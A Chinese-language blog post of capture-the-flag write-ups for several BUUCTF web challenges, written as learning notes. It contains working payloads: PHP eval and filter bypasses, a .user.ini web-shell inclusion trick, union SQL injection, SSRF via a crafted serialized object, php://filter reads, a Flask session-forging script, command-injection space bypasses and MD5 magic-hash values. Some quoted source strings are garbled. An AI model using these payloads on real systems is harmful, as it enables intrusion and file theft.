title: buu刷题.md
date: 2022-08-21 17:31:28
tags:
[RoarCTF 2019]Easy Calc
打开发现真的是个计算器
因为当时学了 ssti 看到这个 就第一时间想到了 ssti 不过看了wp也不是
查看源代码 发现
还有一个文件
访问看一下
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
发现过滤了这些东西
看别的wp说的是 根据 php字符串解析特性
参数num前增加空格 可以绕过过滤
可成功输出 phpinfo()
这里也发现了这个
查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
不过我也没看懂。。。。
payload
scandir()函数 扫描的目录值,写成数组,返回
然后用var_dump输出
看一下根目录由啥东西
由于这里过滤了 / 所以我们可以ascii码来绕过
http://node4.buuoj.cn:29392/calc.php
? num=var_dump(scandir(chr(47)))
发现 f1agg
这里我们用file_get_contents来获取文件中的值
http://node4.buuoj.cn:29392/calc.php
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
得到flag
[SUCTF 2019]CheckIn
<script language='php'><script>
发现能上传文件 应该是文件上传漏洞
先上传一个普通的码试试
抓包看一下
显示不合法的后缀
然后尝试 php5 phtml
发现都不行 显示不合法的后缀
现在上传一个 htaccess配置文件
上传成功了 现在尝试发送一个shell
发现是不行的
然后这里有个新的知识点
.user.ini文件
看了p牛的文章
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
这里简单的对.uer.ini进行一个讲解
这个东西我们也可以看成php.ini文件 就是php的配置文件
所以这里我们就可以利用这个配置文件
来使php文件来包含一个我们上传的图片吗
就可以了
这里先看一下如何上传包含图片的配置文件
user.ini
auto_prepend_file=kkkl.jpg
这里的意思就是 在php文件来自动包含包含01.jpg
刚刚我们说了是在php文件中包含01.jpg
所以这里就必须要有一个php文件才可以
所以这个配置文件漏洞的前提就是有个php文件才可以
我们上传一个普通的图片上传成功后发现了一个php文件
现在我们上传一个.user.ini
然后我们上传一个图片码 访问index.php就可以包含图片码
[MRCTF2020]Ez_bypass
考点
md5()函数
php中的md5()函数 我们可以通过数组来绕过
因为md5函数无法操作数组返回的值为空都为空的话就可以绕过了
还有php若等于
[网鼎杯 2018]Fakebook
注册一个账号进去之后发现一个连接可以点
点进去之后发现地址栏变成了这个
http://e646c56b-ee4b-4eed-a8a3-518d5e411c30.node4.buuoj.cn:81/view.php?no=1
这里存在get传参 可能会有sql注入 我们尝试一下别的参数
输入2发现
报错了 加个引号 发现 报错的是sql 更加确定了是sql的题了
这里输入 1 and 1=1 正常显示
输入 1 and 1=2 发先报错了
所以为数字型注入
输入 order by 5 的时候发现报错了 所以应该是有四列
这里也过滤了
union select
所以我们可以用/**/来绕过
输入
发现回显点在 第二列
所以在第二列开始爆
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆出表名user
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
爆出列名
no,username,passwd,data,
报数据
1kkkla9b7a196a327330d3287e01cea00c7834ae491da381bdf487e3b63e62b53dec2493257b8dce18e581c60f3b01441adf95b6c913a94bfcc1da3406b803b5171c9O:8:"UserInfo":3:{s:4:"name";s:4:"kkkl";s:3:"age";i:0;s:4:"blog";s:8:"kkkl.com";}
发现这里面是序列化后的字符串
这里我们看到了 之前扫到的文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
存在个ssrf 这里我们把
flag写入里面会把flag带出来
所以构造反序列化后的字符串
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct()
{
$this->name='kkkl';
$this->age=1;
$this->blog='file:///var/www/html/flag.php';
}
}
$a=new UserInfo();
echo serialize($a);
O:8:"UserInfo":3:{s:4:"name";s:4:"kkkl";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
传入数据库中
因为这个实在data字段的 所以我们传入第四列
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"kkkl";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
里面有个链接 发现得到flag
[BJDCTF2020]ZJCTF,不过如此
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里我们要让 $text这个文件里面的内容为 i have a dream
用到data伪协议就可以绕过 这里有个 文件包含 我们可以用filter伪协议来include next.php
[BSidesCF 2020]Had a bad day
filter伪协议
如果对输入的东西限制 并且必须要用到filter伪协议的话 可以用filter伪协议嵌套来绕过
/index.php?category=php://filter/convert.base64-encode/index/resource=flag
在本地也可以试验一下
还有个flag.php
现在我们要嵌套一个进去然后读 flag.php的源码
发现嵌套之后确实能读到
[HCTF 2018]admin
存在git泄露
分析代码发现知道为admin就可等到flag
这里是flask session 所以这里是客户端session
我们可以伪造session
flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的
读取源码发现secret_key
所以就可以了伪造session了
解密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
我们把用户名改为admin
加密脚本
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
然后把session传上去就伪造成功amdin了
[WUSTCTF2020]朴实无华
扫到robots.txt
有个/fAke_f1agggg.php是个假的flag
然后我们可以查看返回包消息头 里面有个fl4g.php
访问一下
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
先看如何绕过leval1
intval函数是取整数值
可通通过科学计数法绕过
如果intval函数里面参数填入科学计数法的字符串,会以e前面的数字作为返回值,而对科学计数法+数字则会返回字符串类型
所以这样就可以绕过了
看leval2弱类型
意思就是找到一串数字使它md5加密前后数值相等,显而易见的md5如类型
产生条件我们都知道,是因为php具有弱类型,== 在进行比较的时候,会先将字符串类型转化成相同,再比较
这种数字百度就可以搜到,0e215962017
leval3
不能有 cat 不能有空格
但是这里我们可以用tac命令就是倒着显示
空格用 $IFS$9 来绕过
动态函数执行
php中允许函数通过字符串的方式传递给变量 ,然后通过这个变量动态调用这个函数
<?php
//php动态函数调用
function add($a,$b){
return $a+$b;
}
$func='add';
echo $func(10,20);
//输出30
[BJDCTF2020]Easy MD5
打开之后发现是个查询的框
我们发现响应头里面有个hint
直接告诉了我们后端的查询语句
这里用到了一个万能密码
我们可以通过一串字符串加密后使后面恒为真
先看一下md5函数的用法
可以看到这里的raw参数是True,意为返回原始16字符二进制格式。
如果这些东西经过加密后为 ' or 'xxxxxxx
这样后端的语句就变为了
select * from admin where password ='' or 'xxxx'
这样如果他为字符型的话就可以使xxxx第一个值为数字这样就了可以恒为真 爆出admin表里面所有的数据了
如果为数字型的话 我们可以使字符串加密后的为 or xxxxxx
后端语句变为了
select * from admin where password = or xxxxx
所有我们就可以之构造 or xxxxxxx(只需要使第一个x为数字就可以)然后就能是语句恒为真了
这里从大佬里面发现一一个脚本
<?php
for ($i = 0;;) {
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
这个脚本直接就可以生成刚才我们说的 值
这里提供一个
ffifdyop
该字符串md5加密后若raw参数为True时会返回 'or'6<trash> (<trash>其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的<trash>会在MySQL将其转换成整型比较时丢掉)
所以后端语句就变为了
select * from admin where password=''or '6<trash>'
发送后进入下一关 源代码中发现了
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend
这里考察了md5若等于
$a不等于b 并且 是两个的md5值相同
这里可以用数组来绕过 也可以用 科学计数法来绕过
科学计数法绕过
==在进行比较的时候会先把两边变量的类型转换为相同的,在进行比较
0e在比较的时候会将其视为科学计数法,所以无论0e后面是什么,都是0的多少次方都是0
所以 如果 一串字符如果经过md5之后 是0e开头的 在经过==的时候就会全部转换为 0的多少次方 所以还是 0
这里列出一部分 md5加密之后还是0e开头的值
ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
数组绕过
md5()函数是无法处理数组的 如果传入的为数组 就会返回null
这里列举了一些其他的函数
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null
这样通过数组绕过也可以通过第三关的到flag
标签:md,buu,flag,session,cookie,key,php,payload,刷题 From: https://www.cnblogs.com/kkkkl/p/16748383.html